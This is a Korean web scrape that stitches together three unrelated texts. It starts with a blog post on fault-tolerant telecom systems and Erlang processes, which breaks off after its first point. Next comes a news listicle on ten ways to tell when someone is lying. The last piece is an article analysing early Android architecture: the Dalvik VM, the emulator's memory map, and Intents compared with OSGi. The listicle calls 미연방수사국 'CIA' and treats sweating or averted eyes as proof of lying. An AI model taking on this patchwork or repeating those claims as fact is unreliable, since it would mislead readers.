Fault-tolerant 시스템과 Erlang 프로그래밍

2009/03/20 18:31

복사 http://blog.naver.com/oomymy/120065457361

Erlang을 공부한지 몇달이 되어 가고, Programming Erlang 책을 두번을 넘게 읽었는데,

사실 이 언어를 통해 얻으려고 했던 바에 비해 실제 책을 읽고 나서 드는 감흥은 그리 크지 않은 것 같았다.

일단 가장 먼저 드는 문제는 역시 Erlang이 함수형 언어이기 때문에 여지껏 내 문제 해결 방식 및 사고 과정을 다소 수정해야 한다는 점, 그리고 Erlang이 Prolog에서 발전한 언어이기 때문에 문법적으로 이질적이라는 점이다. (C 계열 언어들은 모두 ;을 통해 문장을 종료하지만, Erlang은 종료는 .이지만 가끔 ,나 ;이 들어가는 경우가 있다. 이 이질적인 문법을 익히느라 매우 힘들었다.)

하지만, 문법을 익히고 코드를 들여다 보는 것 외에 이 Erlang을 만든 조 암스트롱의 박사학위 논문을 보니 Erlang의 역사와 설계 철학이 정말 잘 설명되어 있는 것을 발견했다. 게다가 그 부분을 읽고 나니, 내가 예전에개발에참여하면서 경험했던 통신 장비의아키텍처와 Erlang이 지향하는 시스템의 아키텍처가 매우 유사한 부분이 있다는 점을 깨닳았다. 설명을 위해 통신장비의 구조에 대해 간단히 살펴보자.

통신장비는 Fault-tolerance가 매우 중요한 요구사항이다. 시스템에 장애를 최소화하고 장애가 있더라도 즉시 대체 장비가 작업을 이어 받아서 서비스에 영향을 줘선 안 된다. 이 take-over 시간도 매우 짧아야 한다. 이를 위해 통신 장비를 다음과 같이 설계한다. (OS는 Unix며, 언어는 C를 이용했음)

(1) 가장 먼저 전체 시스템의 기능을 여러 독립적으로 동작 가능한 컴포넌트로 쪼갠다. 가령 프로토콜 스택, 데이터 저장소, 로직 처리, 모니터링, 통계 및 상태 정보등등이다. 그리고 이러한 컴포넌트들은 독립된 OS 프로세스로 작성한다. 이렇게 되면 각 컴포넌트들은 OS에서 제공하는 Protection-domain상에서 돌게 되어 상대방의 장애에도 전혀 영향을 받지 않게 된다. 예를 들어, 로직 처리하는 컴포넌트가 죽더라도 프로토콜 스택은 본래 기능을 정상적으로 수행할 수 있는 것이다.

(2) 이들간의 공유 자원을 최소화 하고 모든 통신은 내부 mssage queue를 통해 수행한다. 한 컴포넌트가 다른 컴포넌트에게 작업을 요청하기 위해선 message queue를 통해 메시지를 전송한다. 이때 메시지 전송은 모두 비동기식으로 이뤄진다. 즉, 메시지를 보내고 응답을 기다리지 않고 즉시 다른 일을 수행하는 것이다. 이는 역시 상대방 컴포넌트의 상태에 따라 현재 컴포넌트가 받는 영향을 최소화하기 위함이다.

(3) 한 장비의 외부에는 다른 장비를 두고 이 장비에는 똑같은 셋의 컴포넌트들을 실행시켜둔다. (일명 replication이다) 이 slave장비의 컴포넌트들은 master 장비의 컴포넌트가 장애가 나는지 안 나는지를 확인하고 있다가 장애가 발견되면 즉시 자신이 role을 이어 받아 작업을 수행한다.

이러한 fault-tolerant 시스템을 만들기 위해선 위의 기능들을 일일히 다 고민하고 구현해야 한다. 어떤 기능들을 프로세스로 분리시킬 것인지, 이들간의 효율적인 통신은 어떻게 하며, 그 통신 상대가 내부에 있을 때, 외부에 있을 때를 구분하지 않고 모두 한가지 semantic으로 다룰 수 있어야 하며, 외부에서 프로세스의 정상/비정상 종료를 감시하는 메커니즘은 어떻게 구현할 것인가...

Erlang은 이러한 Fault-tolerance를 언어적 측면에서 지원한다. 조 암스트롱이 본인의 박사학위 논문에서도 밝히고 있다시피, Erlang은Ericsson에서 80~90년대에 개발한 언어로 이미 내부적으로 많은 통신장비들이 Erlang으로 작성되어 매우 안정적으로 동작하고 있다고 한다. Erlang은 위의 개념을 다음과 같은 방법으로 제공한다.

1. Erlang은 thread와 비슷한 개념으로 Process를 제공한다. 이 프로세스는 OS의 프로세스와 헷깔리면 안 되는데, OS thread와 OS process 그 중간쯤 되는 것 같다. (lightweight하다는 점에서 thread와 비슷하고, protection-domain을 제공한다는 점에서 process와 비슷하다)무엇보다 모든 변수가 다 immutable이다. 한번 설정된 변수는 절대 바꿀 수 없다. 따라서 애시당초 thread동기화를 위한 lock이라는 개념이 필요하지 않는다. 게다가 Erlang process는 thread에 비해 매우 가볍다. 수만개를 생성해도 매우 빠른 시간에 처리되는 점이 매우 인상적이다. (예전 java의 green thread와 비슷하게 ErlangVM이 애플리케이션 레벨 쓰레드를 만들고 스스로 스케쥴링을 하는 방식이 아닐까 생각된다)

상대방의 거짓말을 알아채는 10가지 방법 [조인스]

사회

논쟁중인 댓글 (0)

사람을 의심하는 것은 그리 좋은 일은 아니지만 중요한 일이나 결정을 앞두고 있을 때는 나중을 위해서라도 속시원하게 결말을 내는 게 좋다. 상대방이 지금 거짓말을 하고 있다는 사실은 어떻게 알아챌 수 있을까. 열길 물속은 알아도 한길 사람 속은 모른다는 말도 있지 않은가. 피노키오라면 코가 길어지기라도 하겠지만 말이다. 경찰서 취조실에 와있는 것도 아니니 거짓말 탐지기를 들이댈 수도 없는 노릇이다. 사업이든 연애든 거짓말쟁이와 함께 하면 덕 볼 게 별로 없다. 그래서 빨리 거짓말을 눈치채는 게 중요하다. 다음은 ‘상대방의 거짓말을 알아채는 10가지 방법’이다.

1. 바디 랭귀지를 관찰하라

20년 경력의 뉴욕 시경 수사반장 데릭 파커는 ‘악명높은 COP’라는 책의 저자다. 그는 신체적 징후를 잘 살펴보라고 말한다. 말을 하면서 땀을 흘리거나 손으로 뭔가를 만지작 거리고 있다면 거짓말을 하고 있다는 증거다.

2. 상세하게 물어보라

거짓말은 급하게 꾸며낸 얘기이므로 상세한 내용이 없다. 하바드대 출신의 전직 미연방수사국(CIA) 요원으로 자신의 경험담을『위장을 폭로한다(Blowing My Cover)』라는 책에 담아낸 린제이 모란는 이야기의 특정 부분을 물고 늘어지라고 권한다. 세부 사항에 대해 뭔가를 얘기할 때 상대방은 실수하기 쉽다. 앞에서 들은 자잘한 얘기를 다시 한번 확인하면서 물어보라. 그러면 엉뚱한 대답이 나올 지도 모른다. 사실이라면 주저 없이 이야기가 나오겠지만 즉흥적으로 한 거짓말이라면 우물쭈물하거나 기억이 안나서 대충 넘어가려고 할 것이다.

3. 불쾌감과 짜증에 주목하라

심리학자 벨라 M 드파울로와 웬디 L 모리스는 사기에 대한 연구서인 『과학수사에서의 사기의 식별』(The Detection of Deception in Forensic Contexts)이라는 책에서 “거짓말쟁이들은 진실을 말하는 사람에 비해 눈에 띄게 비협조적인 태도를 보인다”고 말한다. 경우에 따라서는 화를 내기도 한다.

4. 상대방의 눈을 응시하라

거짓말쟁이는 상대방의 시선을 무의식적으로 피한다. 눈빛이 흔들리기도 한다. 미국 뉴욕 시경 수사국 출신의 데릭 파커, CIA 출신의 린제이 모란의 공통적 의견이다.

5. 스트레스의 징후에 주목하라

목소리가 떨리거나 동공이 커지는지 잘 살펴보라. 사실을 말하는 사람에 비해 거짓말쟁이에게 이같은 현상이 자주 발생한다고 심리학자 드파울로와 CIA 출신의 모란은 말한다.

6. 말을 하다가 망설일 때를 주목하라

현장에서 임기응변으로 이야기를 꾸며내야 하기 때문에 거짓말을 하는 사람은 생각을 가다듬기 위해 한 템포 쉬어가기 위해 우물 쭈물하기 쉽다.

7. 다시 물어보라

경찰 수사관들은 용의자가 했던 얘기를 다시 해보라고 하는 경우가 자주 있다. 그래서 앞에서 했던 얘기와 나중에 한 얘기가 서로 불일치하는 지를 가려낸다. 하지만 조심하라. 메사스추세츠대 심리학과 교수 로버트 펠드만에 따르면, 머리가 영리한 사람은 기억력이 좋아서 거짓말을 할 때도 앞에서 했던 얘기를 한 마디도 틀리지 않고 그대로 반복할 수 있기 때문이다.

8. 극구 자기 얘기가 맞다고 주장하는 사람을 조심하라

대화 도중에 ‘솔직하게 말하지만’ ‘정직하게 말하자면’ 이란 표현을 자주 사용해서 의식적으로 상대방을 설득하려고 애쓰는 사람이 있다면 지금 거짓말을 하고 있다고 의심해봐야 한다. 대부분의 사람은 평소에도 자신의 말을 상대방이 진심으로 받아들일 것이라고 전제하고 말을 한다. ‘솔직하게 말하자면’이라고 자꾸 말한다면 왜 그런지 곰곰히 생각해보라. 진의를 의심해 보아야 한다.

9. 자신을 알라

거짓말쟁이들이 사기에 성공하는 이유 중 하나는 듣는 사람이 정말로 진실을 알고 싶어하지 않기 때문이다. 심리학자 로버트 펠드만의 이야기다. 그러므로 당신이 듣고 싶어하는 게 무언지에 대해 솔직할 필요가 있다.

10. 직관력을 동원하라

“사람의 거짓말을 잘 식별해내는 사람이 있다면 직관력이 뛰어난 심리학자일 가능성이 높다. 어떤 상황에서 거짓말을 하는 할 때는 사실을 말하는 것에 비해 이들 생각과 느낌을 행동으로 표현할 가능성이 높기 때문이다.” 심리학자 드 파울로와 모리스의 말이다.

디지털뉴스 jdn@joins.com
[레벨:6]외딴집
2008.10.18 18:15:11 (*.234.48.86)
182
리눅스, J2ME, 그리고 OSGi와의 융화 - 구글 안드로이드 플랫폼 아키텍처

2007 년 11월 공개된 구글의 안드로이드(Android)는 휴대폰 개발에 필요한 소프트웨어 플랫폼 일체를 제공하는 공개 소프트웨어의 이름이다. 구글이 모바일 환경에서도 이름에 걸맞은 영향력을 발휘할 수 있을지는 전적으로 안드로이드 플랫폼이 지닌 활용성에 달려 있다고 해도 지나치진 않다. 이 글에서는 임베디드 개발환경의 변화 방향을 가늠케 하는 안드로이드 플랫폼 아키텍처를 집중적으로 분석해 본다.

김석우 suhgoo.kim@samsung.com

휴 대폰의 소프트웨어는 하루아침에 만들 수 없다. 이르면 2008년 말 상품화되어 처음 선보이는 안드로이드도 현시점에서 공개된 것은 여전히 극히 일부이다. 그러나 안드로이드의 구성이나 설계 철학은 공개된 범위에서 표면화되고 있다. 커널은 리눅스지만 그 이외의 부분은 일반적인 임베디드 리눅스와는 매우 다르다. 독자적인 가상머신(VM)을 채택한 설계지만, 한편으로 기존의 자바 프로그램과의 호환성을 활용하려고 하는 등 장점만을 ‘취사선택’하려고 한다. 필자는 지난해 12월 공개된 정보(Android DSK)를 바탕으로 안드로이드가 어떠한 플랫폼인지를 분석해 봤다. 결론적으로 안드로이드는 향후 2~3년 후에 전 세계 표준이 될 가능성이 있는 타깃으로, 현 시점에서 적절한 기술을 조합한 것이라 할 수 있다.

기존의 오픈소스 기술이나 자바 개발자들의 경험 등을 충분히 살릴 수 있도록 안드로이드는 아키텍처를 디자인해 새로운 기술을 담아 완벽하게 정리했다. 필자는 이번 플랫폼 분석을 위해 크게 두 가지 관점에서 접근했는데, 각각 안드로이드의 컴포넌트 아키텍처 구성과 API(Application Programming Interface)이다.

전자는 안드로이드의 이식성 및 안드로이드 아키텍처에 대한 평가와 관련되고, 휴대폰에 안드로이드 플랫폼을 탑재할 경우에 중요하다. 플랫폼 구성 형태를 면밀히 살펴본 결과, 전체적으로 과거와의 계승성 등을 고려하지 않고 새로운 운영체제를 처음부터 다시 만든다는 의욕이 느껴졌다. 예를 들면 리눅스를 커널에 사용하면서도 라이브러리 군에 일반적인 리눅스와는 다른 소프트웨어를 이용하는 점이 남달랐다. 이는 휴대폰 개발업체의 요구사항을 감안해 자유롭게 사용할 수 있는 오픈소스 소프트웨어를 모은 결과이다. 후자인 API에 대한 평가는 애플리케이션 프로그램 개발이나 배포의 용이성 등 플랫폼으로서 앞으로 보급할 여지가 있는지가 핵심이다. 분석 결과, 안드로이드는 물론 기존의 모바일 소프트웨어 개발자들이 쉽게 접근할 수 있도록 플랫폼을 설계했다. 하지만 무엇보다 기존 자바(J2SE/EE)를 통해 데스크톱이나 서버 사이드 애플리케이션을 만드는 개발자들이 큰 거부감 없이 안드로이드를 이용해 개발할 수 있도록 했다. 즉 전 세계의 수많은 자바 개발자들을 흡수하려는 노력이 매우 돋보인 플랫폼이라고 생각된다.

안드로이드 아키텍처의 특징

안 드로이드의 아키텍처는 리눅스 커널 상에 네이티브 코드로 동작하는 라이브러리군과 ‘Dalvik 가상머신(Dalvik VM)’이라 부르는 독자 VM 실행환경, 그리고 그 위에서 동작하는 애플리케이션 프레임워크로 구성되어 있다. 프레임워크에 근거해 애플리케이션 프로그램을 기술함으로써 개발의 부하를 줄일 수 있다. 애플리케이션 프로그램은 원칙적으로 Dalvik VM으로 실행한다. 프로그램의 기술언어는 자바이다. 이 가운데 가장 먼저 눈에 띄는 것은 독자적인 가상머신을 전면적으로 채택했다는 점이다. 이는 복수의 하드웨어 아키텍처가 혼재된 내장 용도인데다, 마이크로프로세서의 성능이 향상된 현재로서는 필연적인 선택이라고 할 수 있다. 가상머신을 설치함으로써 다른 기기에서 프로그램을 공통화할 수 있으며, 개발효율을 향상시킬 수 있다. 가상머신은 성능 면에서 오버헤드가 크지만 2008년 이후에 등장할 기기라면 임베디드 또는 모바일용으로 충분히 이용할 수 있다고 판단했을 것이다.

또 하나의 특징은 리눅스를 커널에 채택했다는 점이다. 그렇게 함으로써 새로운 하드웨어나 주변기기에 대응하기 쉬워진다. 리눅스에는 하드웨어 메이커가 직접 디바이스 드라이버를 제공한다. 리눅스를 커널에 채택한 것은 모든 하드웨어가 이식되기 때문이며, 다양한 하드웨어를 설계하고 채택하는 휴대폰 제조업체들에게는 매우 반가운 일이 아닐 수 없다. 한편 커널 이외에는 리눅스 관련 소프트웨어를 사용하지 않는다. 예를 들면 구글은 표준 C 라이브러리 ‘libc’는 BSD UNIX의 것임을 분명히 밝히고 있다.

현재 구글이 공개한 오버뷰를 통해 판단할 수 있는 것은 이 정도이다. 그 이상은 내부 구조로 더 들어가지 않으면 알 수 없다. 현 상황에서는 안드로이드의 소스 코드 공개 범위가 너무나 좁다. 개발 툴을 제외하면 커널과 HTML의 렌더링 엔진(Webkit) 뿐으로 이는 구성요소의 극히 일부에 지나지 않는다. 그러나 실제 동작하는 안드로이드 SDK를 통해 꽤 많은 사실이 표면화되었다. SDK에 부속된 에뮬레이터는 오픈소스인 QEMU를 안드로이드용에 적용한 것이다. 에뮬레이터의 대상이 되는 하드웨어를 QEMU로 설치해, 그 위에서 안드로이드의 실행 환경을 동작시키고 있다. 우리는 안드로이드의 실행 프로세스를 살펴보기 위해 에뮬레이터를 통해 API 실행을 구현하는 방식, 즉 시뮬레이션이 아니라 실제 소프트웨어를 에뮬레이터가 설치된 타깃 하드웨어에서 동작시키고 있다. 에뮬레이터의 소스 코드를 보면 안드로이드가 대상이 되는 하드웨어가 나타난다.

메인 메모리 영역은 소스 코드에 표시된 것처럼 96MB이고(<그림 2>의 (a) 부분), 거기서 연속적으로 V램 영역이 이어진다(<그림 2>의 (b) 부분). 그리고 메모리 맵I/O가 최상위 공간에 할당되어 있다.

<그림1> 안드로이드 플랫폼 아키텍처

<그림2> goldfish의 메모리 맵

주 요 하드웨어의 구성은 ‘Android_arm.c’ 파일에 기술되어 있다. 마이크로프로세서는 ‘ARM926’, 코어는 ARM9E이다. 접속하는 주변기기나 인터럽트 제어기 등은 동일한 파일에 기술되어 있다. 그러나 메인 메모리의 메모리 사이즈는 ‘vl.h’ 파일에 분산시켜 기술되어 있었다. 전자는 96MB, 후자는 8MB이다. 이렇게 해서 정의된 하드웨어에는 ‘goldfish’라는 명칭을 붙였다. 고려하는 화면 사이즈는 두 가지로 320×240 화소의 QVGA와 480×320 화소의 HVGA이다. 이는 각각 가로가 긴 랜드스케이프 모드와 세로가 긴 포트레이트 모드에서 이용할 수 있다. 화면 사이즈의 변화에 따른 영상의 차이 등은 에뮬레이터로 체크할 수 있다.

안드로이드 파일시스템

에 뮬레이션 환경에서는 PC에서 동작하는 ‘Android Debug Bridge(adb)’라는 툴을 사용해 리눅스의 쉘(Shell)을 조작할 수 있다. 이는 에뮬레이터 상에서 동작하는 ‘adbd’라는 프로세스와 통신함으로써 실현된다. 이 쉘(Shell)을 통해 디렉토리나 파일 구성을 들여다보면 지극히 평범한 리눅스에 가까운 것처럼 보인다. 예를 들면 구동 시에 실행되는 스크립트는 ‘etc’ 디렉토리에 저장되어 있다. 그러나 자세히 보면 안드로이드에서 특징적인 파일은 표준 리눅스에서는 그다지 볼 수 없는 ‘system’, ‘data’등의 디렉토리에 있다. 예를 들면 안드로이드의 Dalvik VM의 본체는 system 디렉토리 아래에 있는 bin 디렉토리에 들어 있다.

<그림 3>을 보면 일반적인 리눅스와 비슷한 이름의 디렉토리도 있지만 다른 부분도 많이 눈에 띈다. 예를 들면 일반적인 리눅스에서 ‘usr/bin/’에 저장되는 프로그램 구성들이 ‘system/ bin/’에 저장되어 있다.

쉘(Shell) 조작으로 이용하는 ‘ls’나 ‘mv’ 등의 명령어는 안드로이드에서는 toolbox라 부르는 하나의 프로그램이 통합해 관리하고 있다. 임베디드 리눅스의 경우는 같은 기능을 제공하는 프로그램을 BusyBox를 통해 사용하는 경우가 많다. 여기에서도 일반적인 리눅스와의 차이점이 나타난다.

프로세스의 메모리 구조

통 상적인 리눅스와의 차이가 더욱 확연한 부분은 논리 메모리 공간의 구성이다. 이러한 기본적인 부분에서 리눅스와 다른 것을 보면 리눅스를 커널에만 한정하고 있음을 재확인할 수 있다. 논리 메모리 공간은 각각의 프로세스에 할당된 것으로 애플리케이션 프로그램이 이용할 수 있는 메모리 공간이다.

SDK에 표준으로 부속되는 ‘mem_profiler’ 명령어로는 알 수 없지만, KMC의 디버그를 사용하면 조금 더 자세한 메모리 구성을 알 수 있다. 통상적인 리눅스의 경우는 동적으로 로드(load)되는 라이브러리(‘.so’ 모듈이라 불린다)가 논리 메모리 공간의 저위 어드레스에서 고위 쪽으로 할당된다. 이 할당을 실행하는 것은 ‘ld.so’ 프로그램이 일반적이다. 이와 관련해 안드로이드에서는 공유 라이브러리가 논리 어드레스 공간의 고위 어드레스에서 저위방향으로 확보된다.

필자는 일반적인 임베디드 리눅스와 안드로이드의 메모리 매핑을 비교했다. 일반적인 임베디드 리눅스의 예로, ARM Embedded 리눅스 2.2.0을 이용했다. 일반적인 임베디드 리눅스는 40000000번지부터 공유 라이브러리나 파일을 순서대로 배치하고 있다. 안드로이드는 파일을 40000000번지부터 순방향으로, 라이브러리를 B0000000번지부터 역방향으로 배치하고 있다. 라이브러리를 로드하는 역할을 하는 것은 ‘linker’라는 명칭의 프로그램이다. 메모리 공간의 구성에서 또 한 가지 특징적인 것은 Dalvik VM용 영역을 별도로 확보하고 있다는 점이다. 일반적으로 리눅스용 JVM인 경우에는 이를 위한 영역을 별도로 준비하지는 않는다. 안드로이드의 경우는 모든 애플리케이션 프로그램을 Dalvik VM으로 동작시키기 때문에 Dalvik VM에 관련되어 소비하는 메모리의 양이 늘어남을 전제로 배치한 것으로 분석된다.

<그림3> 안드로이드의 파일시스템

<그림4> 독특한 메모리 매핑

독자적인 Dalvik VM

안 드로이드에서 많은 이들이 가장 궁금해 하는 부분이 바로 안드로이드의 독자적인 VM인 Dalvik이다. 하지만 Dalvik VM 자체의 소스 코드는 공개되지 않았으므로 안드로이드의 쉘(Shell)에서 동작하는 ‘dexdump’ 프로그램을 사용해 분석했다. dexdump 프로그램은 Dalvik VM의 실행형식인 ‘.dex’ 파일을 조작하기 위한 프로그램으로 파일 헤더의 정보를 취득하거나 코드 섹션을 역어셈블하는 기능 등을 갖추고 있다. 헤더 부분에는 그 파일에 저장되어 있는 클래스의 명칭이나 새로운 클래스의 명칭, 메소드 명칭 등의 정보가 들어 있다.

<그림5> 바이너리 코드를 역어셈블한 결과

자 바 가상머신이 스택형을 채택하고 있는 것에 반해 Dalvik VM은 레지스터형의 가상머신임을 알 수 있다. 실제로 dexdump를 이용해 <그림 5>와 같이 .dex 파일을 역어셈블해 보았다. 독자적으로 작성한 애플리케이션 프로그램인 ‘uiTest’의 ‘onCreate’ 메소드의 서두 부분을 표시한 것으로, ‘move-object’라는 명령이 4개 연속되어 있다. 바이트 코드를 보면 모두 ‘07’이라는 코드로 시작되며 이어지는 바이트의 상위와 하위를 각각 인수(argument)로 할당하고 있다. 예를 들어 ‘40’에 대응하는 역어셈블 결과는 v0, v4가 되며 ‘51’이라면 v1, v5가 되는 식이다. 아마 v0, v1 등이 레지스터이고, 4비트로 레지스터 번호를 나타내는 것으로 보인다. 따라서 레지스터는 16개까지 존재할 수 있다. 이어지는 invoke-super-quick은 새로운 클래스의 메소드를 불러내는 명령으로 이는 ‘fa02’로 표시되고 있다. 다음의 2바이트는 동적 링크를 위한 링크 테이블 번호를 나타내는 듯하다. const 명령은 어떠한 정수를 레지스터에 대입하는 조작으로 보인다. 또한 invoke-virtual-quick은 메소드를 불러내기 위한 명령일 것이다.

레지스터형을 채택하고 있다는 것은 분명 Dalvik VM의 명확한 특징 가운데 하나로, 굳이 가상머신의 사양을 변경해야만 하는 이유가 있는 듯하다. 구글의 한 엔지니어는 “자바에는 프로그램을 로드했을 때, 동작의 정당성 등을 검증하는 ‘Bytecode verifier’라는 기술이 있다. 이 특허를 썬마이크로시스템즈(이하 썬)가 소유하고 있으므로, 이에 저촉되는 것을 피하기 위한 것은 아닐까”라고 추측했다. 또한 레지스터형을 도입하면 ARM926 등에서 제공되는 자바 프로그램의 고속화기구인 ‘Jazelle DBX’를 이용할 수 없게 된다. 그러나 앞으로 새롭게 등장할 ARM11 아키텍처의 경우에는 Jazelle DBX를 사용하지 못하게 되므로 문제가 없을 것으로 보는 의견도 있었다. 여기서 수행한 역어셈블의 결과만으로 가상머신 명령체계의 전체 모습을 파악하기란 어렵다. 소스 코드나 가상머신의 사양 공개가 기다려지는 것도 바로 이 때문이다.

안드로이드 API 형태

아직 공개가 지연되고 있는 안드로이드 본체와는 달리, 애플리케이션 프로그램 개발에 관한 정보는 대략 공개되어 있다. 이는 애플리케이션 소프트웨어 대부분이 플랫폼의 강력함으로 이어진다고 구글이 판단한 결과로 풀이된다.

실 제로 개발 콘테스트 등을 개최하고 있는 것도 같은 이유일 것이다. 안드로이드의 애플리케이션 프로그램에는 ‘Activity’, ‘Service’, ‘Content Provider’, ‘Intent Receiver’라고 하는 네 가지 형태가 있다. 유저 인터페이스(UI)를 가진 안드로이드의 애플리케이션 프로그램은 Activity로서 수행된다. Service는 UI를 가지고 있지 않으며 연속적으로 정보를 제공하는 프로그램이다. Content Provider는 데이터베이스와 같은 특정 조건 하에서 데이터를 제공하는 것이다. Intent Receiver는 외부의 이벤트에 대해 어떠한 반응을 나타낼 때에 사용한다. 보통 애플리케이션 프로그램을 만들 때에는 Activity를 사용한다. 각각의 Activity는 Activity 클래스의 하위 클래스로 수행된다. 실행 시에는 애플리케이션 프레임워크가 라이프 사이클 모델에 근거해 Activity를 호출한다.

<그림6> activity의 라이프 사이클 모델

분산환경 지원

안 드로이드의 API에서 특징적인 개념 중 하나가 ‘Intent’이다. 프로그램 간 연계 시스템으로 CORBA나 COM 시스템을 더욱 진화시킨 것이라 할 수 있다. 안드로이드 프로그램의 경우, 원칙적으로 애플리케이션 프로그램은 각각 독립된 논리 메모리 공간에서 동작한다. 때문에 직접 세마포어 등을 사용해 메모리를 공유하는 등의 일은 할 수 없다. 그래서 다른 프로그램에 처리를 부탁하는 것을 Intent로 정의한다. 이 Intent를 처리할 수 있는 프로그램을 운영체제가 적절하게 할당하는 형태를 취한다.

<그림7> activity와 intent

안 드로이드의 프로그래밍에서 특징적인 존재가 Activity와 Intent이다. Activity는 유저 인터페이스를 갖는 프로그램으로 반드시 갖추고 있어야만 한다. Intent는 Activity 등이 데이터 처리를 의뢰할 때에 의향을 명시하기 위한 데이터 구조로, Intent에 대응하는 적절한 프로그램을 안드로이드의 Activity Manager와 커널이 적절하게 판정해 처리를 할당한다. Intent를 받을 수 있는 것은 안드로이드가 규정하는 네 가지 형태 중에서 Activity와 Intent Receiver이다. 유저 인터페이스를 갖는 프로그램이 받을 경우는 Activity로 수행되고, 모두 백그라운드로 통신되는 경우는 Intent Receiver로 수행된다.

안드로이드와 J2SE

안 드로이드는 애플리케이션 구현에 필요한 개발환경으로 자바를(J2ME/SE) 선택했는데, 실제 문제는 바로 어떤 자바 클래스를 이용할 것인가이다. 안드로이드의 경우는 ‘java.io’나 ‘java.net’ 등 자바의 표준적인 패키지 가운데 이용할 수 있는 것이 적지 않다. 커다란 차이는 UI 부분이며, MVC 모델 등에 근거해 프로그램을 만들면 의외로 간단하게 자바 프로그램을 안드로이드용으로 변환할 수 있을 것이다.

<그림8> 안드로이드와 J2ME/SE 구조

안 드로이드가 표준으로 제공하는 클래스 라이브러리 패키지를 휴대폰용 자바 애플리케이션 개발 기반인 ‘CLDC 1.1’ 및 ‘MIDP 2.0’, 서버나 PC용 개발 기반인 ‘Java SE’와 비교해 보자. 안드로이드의 클래스 라이브러리 패키지는 J2ME의 CLDC-MIDP와의 호환성은 의식하지 않고, Java SE의 서브셋에 구글의 독자 라이브러리를 추구한 것이라 할 수 있다. 결국 이러한 애플리케이션 구조는 심비안이나 CLDC-MIDP 기반에서 개발된 휴대폰용 자바 프로그램의 이식에 어려운 점이 있다. 예를 들어 휴대폰에서 서버와 통신하는 분산 네트워크 환경과 같은 고급 기능의 측면에서 보면, 안드로이드와 휴대폰용 자바의 규약인 CLDC인 경우에는 큰 차이가 있기 때문이다. 안드로이드가 채택한 자바 클래스를 보면 휴대폰용 소프트웨어 개발자보다는 서버에서 동작하는 서비스를 개발해 온 개발자들을 흡수하기 위한 것이라는 해석이 성립된다. 안드로이드의 네트워크 기능은 J2EE와 크게 다르지 않다. 저장할 수 있는 데이터의 양에 차이는 있지만 서버 사이드에서 개발해 온 서비스 아이디어를 그대로 휴대폰의 애플리케이션으로 개발할 수 있다.

<그림9> 안드로이드와 OSGi공통 분야

안드로이드와 OSGi

사 전을 찾아보면, 안드로이드는 그리스어가 어원이고 ‘인간을 닮은 것’이라는 의미를 지니고 있다. 그렇다. 확실히 구글의 안드로이드는 자바 플랫폼을 많이 닮아있다. 하지만 안드로이드가 인간이 아니듯, 구글의 안드로이드 플랫폼은 정확히 말해 자바는 아니다. 오픈소스가 IT 업계의 큰 트렌드로 자리 잡은 이 시점에 나타나는 문제점 가운데 하나는 급격한 소스의 파생이 이뤄지고 있다는 점이다. 이른바 ‘fork’라고도 하는데, 어쩌면 구글의 안드로이드는 자바의 Fork가 될 수도 있겠다. 구글은 왜 모바일과 임베디드 업계에서 점차 확산되고 있는 J2ME를 채택하지 않았을까? 더 나아가서 채택하지 않았으면서 왜 J2ME의 아키텍처를 템플릿으로 참조해 안드로이드 플랫폼을 탄생시켰을까? 아마도 그것은 썬의 자바에 대한 지나치게 폐쇄적인 JCP 정책과 항상 뒤늦은 대응정책 때문이었을 것이다. 썬은 JCP를 통해 자바의 로고와 스펙, 그리고 업그레이드에 대한 독립적이면서 독자적인 권한을 가진다. 구글로서는 자바 환경에서 독립적인, 그리고 무소불위의 권한을 가진 썬이 자사의 모바일 전략에 큰 걸림돌로 여겨졌을 것이다(물론 뛰어난 자바의 기술력과 확장성은 탐이 났겠지만). 결국 자바와 극히 비슷한(J2ME의 CDC 환경) 안드로이드 플랫폼은 일반적인 JVM이 아니라 독립적인 DALVIK VM을 탄생시켰고, Dex 파일이라는 고유한 Dalvik 포맷(format)을 개발자들에게 선물했다.

물론, 모바일 업계에서 아직 J2ME-CLDC/MIDP는 메인 스트림이 아니다. 점차 스마트폰을 중심으로 확산되고는 있지만 제조업체마다 독립적인 API와 서로 다른 RMI 방식, 고급 UI를 지향하면서 무거워져만 가는 GUI 모듈, manifest를 위한 거대한 XML 타입 등과 같이 다양한 모바일 실행 환경에서 여러 가지 문제점들을 나타내고 있다. 구글은 이러한 문제점들을 해결하고 더욱 고급화되는 UI나 멀티태스킹, 강력한 애플리케이션 및 관리 솔루션을 J2ME를 벤치마킹함으로써 개선하고자 했다. 그러나 오픈된 안드로이드 아키텍처를 보면 구글이 플랫폼 구조와 애플리케이션 구동에는 많은 관심을 보여 왔지만, J2ME-OSGi 플랫폼에 비해 독립적인 모듈구조, 애플리케이션의 라이프 사이클, 애플리케이션을 통합 관리할 수 있는 미들웨어 부분에서는 약점을 드러내고 있음을 알 수 있다. 이러한 문제점들은 OSGi(Open Service Gateway Initiatives) 프레임워크에서 장점으로 내세울 수 있는 부분이며, 따라서 안드로이드를 오픈한지 얼마 되지 않은 구글 입장에서 OSGi를 안드로이드 플랫폼에 통합 및 연동하거나 안드로이드-OSGi 솔루션으로 확대될 것을 기대하는 개발자들이 늘어나고 있다. 또한 이러한 개발자들의 요구에 맞춰 몇몇 전문 벤더에서는 안드로이드-OSGi 솔루션을 이미 개발해 시장에 진입하려 하고 있다. 그렇다면, 안드로이드와 OSGi는 어떻게 다르고 그 둘의 연동이 우리에게 가져다주는 장점은 무엇인가? 먼저 안드로이드와 OSGi는 VM을 지원하는 방식이 다르다.

<그림10> 안드로이드와 OSGi의 차이

OSGi 는 하나의 VM 위에서 구동되어, 각 서비스 또는 애플리케이션이 번들 타입으로 작동하게 된다. 따라서 리소스 및 데이터의 공유가 쉽고 각 번들의 결합을 통해 서비스의 생성과 참조가 쉽게 이뤄진다. 하지만 안드로이드는 하나의 VM에서 하나의 프로세스가 애플리케이션으로 구동되어 작동된다. 따라서 프로세스 간 데이터, 리소스 공유시 IPC, 메타포어 등을 통해야 한다. 그러나 안정성과 보안 측면에서는 OSGi보다 우수하다고 할 수 있다. 그러나 PC 애플리케이션이나 서버급의 엔터프라이즈가 아닌 모바일 및 임베디드 환경에서는 더 작은 메모리로 빠르게 서로를 공유 및 참조할 수 있고 번들과 서비스의 모듈성이 보장되는 OSGi 구조가 훨씬 더 효율적이다.

<그림11> 효율적인 OSGi 컴포넌트의 참조와 공유

